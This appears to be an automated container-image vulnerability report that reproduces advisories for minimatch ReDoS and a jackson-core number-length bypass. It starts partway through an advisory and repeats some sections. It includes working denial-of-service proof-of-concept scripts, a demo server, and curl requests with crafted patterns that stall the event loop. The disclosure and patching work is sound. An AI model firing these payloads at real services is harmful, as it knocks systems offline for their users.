/^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false Step 2 -- HTTP server (event loop starvation proof) Save as poc4-server.mjs: import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) Terminal 1 -- start the server: node poc4-server.mjs Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"} Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"} time_total: 63.022047s Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. Impact Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. +() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. Inefficient Algorithmic Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.045% EPSS Percentile 14th percentile Description Summary matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Details The vulnerable loop is in matchOne() at src/index.ts#L960: while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input. Measured timing with n=30 path segments: k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- inline script import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms To scale the effect, increase k: // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) No special options are required. This reproduces with the default minimatch() call. Step 2 -- HTTP server (event loop starvation proof) The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) Terminal 1 -- start the server: node poc1-server.mjs Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" Observed output (Terminal 3): {"result":true,"ms":"0"} time_total: 4.132709s The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: {"result":true,"ms":"0"} time_total: 0.001599s Impact Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

[github-actions]

🔍 Vulnerabilities of cass-cass-standalone:latest

📦 Image Reference cass-cass-standalone:latest

digest	sha256:01079664b795c3289cfe67f363abfc4940cd6795267b8a73c0bf96c2a7edda2e
vulnerabilities
platform	linux/amd64
size	1.1 GB
packages	1343

📦 Base Image ubuntu:24.04

also known as	latest noble
digest	sha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
vulnerabilities

minimatch 10.2.2 (npm) pkg:npm/minimatch@10.2.2 Inefficient Regular Expression Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Summary Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally. Details The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group: : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` This produces the following regexps: Pattern Generated regex *(a|b) /^(?:a|b)*$/ *(*(a|b)) /^(?:(?:a|b)*)*$/ *(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/ *(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/ These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false. The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration. Measured times via minimatch(): Pattern Input Time *(*(a|b)) a x30 + z ~68,000ms *(*(*(a|b))) a x20 + z ~124,000ms *(*(*(*(a|b)))) a x25 + z ~116,000ms *(a|a) a x25 + z ~2,000ms Depth inflection at fixed input a x16 + z: Depth Pattern Time 1 *(a|b) 0ms 2 *(*(a|b)) 4ms 3 *(*(*(a|b))) 270ms 4 *(*(*(*(a|b)))) 115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as poc4-validate.mjs and run with node poc4-validate.mjs: import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) Observed output: depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false Step 2 -- HTTP server (event loop starvation proof) Save as poc4-server.mjs: import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) Terminal 1 -- start the server: node poc4-server.mjs Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"} Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"} time_total: 63.022047s Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. Impact Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. +() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. Inefficient Algorithmic Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.045% EPSS Percentile 14th percentile Description Summary matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Details The vulnerable loop is in matchOne() at src/index.ts#L960: while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input. Measured timing with n=30 path segments: k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- inline script import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms To scale the effect, increase k: // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) No special options are required. This reproduces with the default minimatch() call. Step 2 -- HTTP server (event loop starvation proof) The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) Terminal 1 -- start the server: node poc1-server.mjs Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" Observed output (Terminal 3): {"result":true,"ms":"0"} time_total: 4.132709s The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: {"result":true,"ms":"0"} time_total: 0.001599s Impact Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

com.fasterxml.jackson.core/jackson-core 2.17.2 (maven) pkg:maven/com.fasterxml.jackson.core/jackson-core@2.17.2 Allocation of Resources Without Limits or Throttling Affected range >=2.0.0 <=2.18.5 Fixed version 2.18.6 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N Description Summary The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS). The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy. Details The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation. The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks. After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat(). The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed. Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path. PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000. package tools.jackson.core.unittest.dos; import java.nio.charset.StandardCharsets; import org.junit.jupiter.api.Test; import tools.jackson.core.*; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser; import static org.junit.jupiter.api.Assertions.*; /** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */ class AsyncParserNumberLengthBypassTest { private static final int MAX_NUMBER_LENGTH = 1000; private static final int TEST_NUMBER_LENGTH = 5000; private final JsonFactory factory = new JsonFactory(); // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); // Output to console System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } } // VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput(); boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { foundNumber = true; String numberText = p.getText(); assertEquals(TEST_NUMBER_LENGTH, numberText.length(), "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); } private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF_8); } } Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS. Suggested Remediation The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers. NOTE: This research was performed in collaboration with rohan-repos

com.fasterxml.jackson.core/jackson-core 2.15.0 (maven) pkg:maven/com.fasterxml.jackson.core/jackson-core@2.15.0 Allocation of Resources Without Limits or Throttling Affected range >=2.0.0 <=2.18.5 Fixed version 2.18.6 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N Description Summary The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS). The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy. Details The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation. The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks. After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat(). The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed. Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path. PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000. package tools.jackson.core.unittest.dos; import java.nio.charset.StandardCharsets; import org.junit.jupiter.api.Test; import tools.jackson.core.*; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser; import static org.junit.jupiter.api.Assertions.*; /** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */ class AsyncParserNumberLengthBypassTest { private static final int MAX_NUMBER_LENGTH = 1000; private static final int TEST_NUMBER_LENGTH = 5000; private final JsonFactory factory = new JsonFactory(); // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); // Output to console System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } } // VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput(); boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { foundNumber = true; String numberText = p.getText(); assertEquals(TEST_NUMBER_LENGTH, numberText.length(), "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); } private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF_8); } } Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS. Suggested Remediation The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers. NOTE: This research was performed in collaboration with rohan-repos